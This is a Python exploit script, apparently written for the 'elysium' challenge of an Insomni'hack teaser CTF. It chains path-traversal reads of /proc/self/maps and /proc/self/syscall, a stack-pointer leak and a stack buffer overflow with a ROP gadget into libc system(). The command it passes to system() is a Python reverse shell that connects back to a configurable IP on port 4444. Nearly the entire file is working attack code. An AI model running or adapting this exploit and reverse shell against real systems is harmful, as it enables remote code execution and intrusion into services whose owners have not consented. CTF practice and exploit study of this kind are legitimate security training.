#!/usr/bin/env python3
#coding: UTF-8

from collections import namedtuple
from elysium import *

TARGET = ('elysium01.teaser.insomnihack.ch', 1234)
REVERSE_SHELL_IP = "1.1.1.1"            # change this

def get_mem_ranges(client):
    client.send_msg(b'1 ../../../proc/self/maps')
    raw = d(client.recv_msg())
    client.recv_msg()           # menu

    maps = {}
    for entry in raw.split('\n'):
        match = re.search('([a-f0-9]+)-([a-f0-9]+).*    ([^\n]+)', entry)
        if match:
            name = match.group(3).split('/')[-1]
            if '[' in name:
                name = name[1:-1]
            if not name in maps:
                maps[name] = namedtuple('Mapping', ['start', 'end'])(int(match.group(1), 16), int(match.group(2), 16))
                

    return maps

def leak_esp(client):
    """leak the current value of esp just before the read syscall"""
    client.send_msg(b'1 ../../../proc/self/syscall')
    raw = client.recv_msg()
    client.recv_msg()

    return int(raw.split(b' ')[7], 16)

def get_pointer_to_val(c, v, binary_base):
    """return the address of a dword with the given value"""
    ptr = binary_base + 0x4104
    c.send_msg(b'2\n')
    meds = int(re.search('Military units : ([0-9]*)', d(c.recv_msg())).group(1))
    c.recv_msg()
    delta = v - meds
    c.send_msg(b'4 ' + e(str(delta)))
    c.recv_msg()
    c.recv_msg()
    return ptr

stack_ptr1_offset = 5

offset_stack = 315
offset_eip = 20
offset_system = 0x40100

adjust_esp_gadget = 0x00000f35

with connect(TARGET) as c:
    iv = c.recv(16)
    client = Client(c, iv)
    client.recv_msg()       # greeting
    client.recv_msg()       # help

    maps = get_mem_ranges(client)
    print("[*] got target memory layout")

    esp = leak_esp(client)
    stack_buffer_address = esp + offset_stack
    print("[*] stack buffer @ 0x{:x}".format(stack_buffer_address))

    len_ptr = get_pointer_to_val(client, 4, maps['elysium'].start)
    print("[*] controlled data @ 0x{:x}".format(len_ptr))

    system = maps['libc-2.19.so'].start + offset_system
    print("[*] system() @ 0x{:x}".format(system))

    payload = stack_ptr1_offset * b'A'                              # padding
    payload += p(stack_buffer_address + 40 + stack_ptr1_offset)     # points to itself
    payload += p(stack_buffer_address + 40 + stack_ptr1_offset + 4) # same
    payload += offset_eip * b'B'                                    # pad up to saved eip
    payload += p(maps['elysium'][0] + adjust_esp_gadget)            # adjust stack past the length pointer: add esp, 0x14 ; pop ebx ; pop ebp ; ret
    payload += p(0xdeadc0de)                                        # unused
    payload += p(len_ptr)                                           # length pointer, points to 0x00000004
    payload += p(0xdeadbeef) * 5                                    # padding
    payload += p(system + 1)                                        # address of system contains a 0 byte, so add 1
    payload += p(0xdeadfeed)                                        # emulate first instruction of system(): push ebx
    payload += p(0x41414141)                                        # saved eip for system, dontcare
    payload += p(stack_buffer_address + 121)                        # first argument to system, points to our payload
    payload += e("""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{}",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'""".format(REVERSE_SHELL_IP))

    print("[*] sending final payload...")
    client.overflow(payload)

    print("[*] done, check your listener")
